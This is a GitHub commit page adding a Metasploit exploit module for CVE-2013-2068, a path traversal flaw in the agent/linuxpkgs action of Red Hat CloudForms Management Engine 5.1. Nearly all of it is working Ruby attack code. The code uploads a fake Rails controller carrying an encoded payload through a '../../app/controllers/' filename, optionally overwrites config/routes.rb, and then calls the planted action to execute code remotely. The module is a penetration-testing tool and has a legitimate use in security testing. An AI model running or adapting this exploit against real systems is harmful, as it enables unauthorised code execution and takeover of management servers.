Skip to content

Commit 21661b1

Browse files
committed
Add cfme_manageiq_evm_upload_exec.rb
This module exploits a path traversal vulnerability in the "linuxpkgs" action of "agent" controller of the Red Hat CloudForms Management Engine 5.1 (ManageIQ Enterprise Virtualization Manager 5.0 and earlier).
1 parent c59b8fd commit 21661b1

File tree

1 file changed

+125
-0
lines changed

1 file changed

+125
-0
lines changed
Lines changed: 125 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,125 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit4 < Msf::Exploit::Remote
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize
15+
super(
16+
'Name' => 'Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal',
17+
'Description' => %q{
18+
This module exploits a path traversal vulnerability in the "linuxpkgs"
19+
action of "agent" controller of the Red Hat CloudForms Management Engine 5.1
20+
(ManageIQ Enterprise Virtualization Manager 5.0 and earlier).
21+
It uploads a fake controller to the controllers directory of the Rails
22+
application with the encoded payload as an action and sends a request to
23+
this action to execute the payload. Optionally, it can also upload a routing
24+
file containing a route to the action. (Which is not necessary, since the
25+
application already contains a general default route.)
26+
},
27+
'Author' => 'Ramon de C Valle',
28+
'License' => MSF_LICENSE,
29+
'References' =>
30+
[
31+
['CVE', '2013-2068'],
32+
['CWE', '22'],
33+
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=960422']
34+
],
35+
'Platform' => 'ruby',
36+
'Arch' => ARCH_RUBY,
37+
'Privileged' => true,
38+
'Targets' =>
39+
[
40+
['Automatic', {}]
41+
],
42+
'DisclosureDate' => 'Sep 4 2013',
43+
'DefaultOptions' => { 'PrependFork' => true },
44+
'DefaultTarget' => 0
45+
)
46+
47+
register_options(
48+
[
49+
Opt::RPORT(443),
50+
OptBool.new('SSL', [true, 'Use SSL', true]),
51+
OptBool.new('ROUTES', [true, 'Upload a routing file', false]),
52+
OptString.new('CONTROLLER', [false, 'The name of the controller']),
53+
OptString.new('ACTION', [false, 'The name of the action']),
54+
OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
55+
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST'] ])
56+
], self.class
57+
)
58+
end
59+
60+
def exploit
61+
controller =
62+
if datastore['CONTROLLER'].nil? || datastore['CONTROLLER'].empty?
63+
Rex::Text.rand_text_alpha_lower(rand(9) + 3)
64+
else
65+
datastore['CONTROLLER'].downcase
66+
end
67+
68+
action =
69+
if datastore['ACTION'].nil? || datastore['ACTION'].empty?
70+
Rex::Text.rand_text_alpha_lower(rand(9) + 3)
71+
else
72+
datastore['ACTION'].downcase
73+
end
74+
75+
data = "class #{controller.capitalize}Controller < ApplicationController; def #{action}; #{payload.encoded}; render :nothing => true; end; end\n"
76+
77+
print_status("Sending fake-controller upload request to #{target_url('agent', 'linuxpkgs')}...")
78+
res = send_request_cgi(
79+
'method' => datastore['HTTP_METHOD'],
80+
'uri' => normalize_uri(target_uri.path, 'agent', 'linuxpkgs'),
81+
"vars_#{datastore['HTTP_METHOD'].downcase}" => {
82+
'data' => Rex::Text.encode_base64(Rex::Text.zlib_deflate(data)),
83+
'filename' => "../../app/controllers/#{controller}_controller.rb",
84+
'md5' => Rex::Text.md5(data)
85+
}
86+
)
87+
88+
fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
89+
90+
if datastore['ROUTES']
91+
data = "Vmdb::Application.routes.draw { root :to => 'dashboard#login'; match ':controller(/:action(/:id))(.:format)' }\n"
92+
93+
print_status("Sending routing-file upload request to #{target_url('agent', 'linuxpkgs')}...")
94+
res = send_request_cgi(
95+
'method' => datastore['HTTP_METHOD'],
96+
'uri' => normalize_uri(target_uri.path, 'agent', 'linuxpkgs'),
97+
"vars_#{datastore['HTTP_METHOD'].downcase}" => {
98+
'data' => Rex::Text.encode_base64(Rex::Text.zlib_deflate(data)),
99+
'filename' => '../../config/routes.rb',
100+
'md5' => Rex::Text.md5(data)
101+
}
102+
)
103+
104+
fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
105+
end
106+
107+
print_status("Sending execute request to #{target_url(controller, action)}...")
108+
send_request_cgi(
109+
'method' => 'POST',
110+
'uri' => normalize_uri(target_uri.path, controller, action)
111+
)
112+
113+
handler
114+
end
115+
116+
def target_url(*args)
117+
(ssl ? 'https' : 'http') +
118+
if rport.to_i == 80 || rport.to_i == 443
119+
"://#{vhost}"
120+
else
121+
"://#{vhost}:#{rport}"
122+
end + normalize_uri(target_uri.path, *args)
123+
end
124+
end
125+

0 commit comments

Comments
 (0)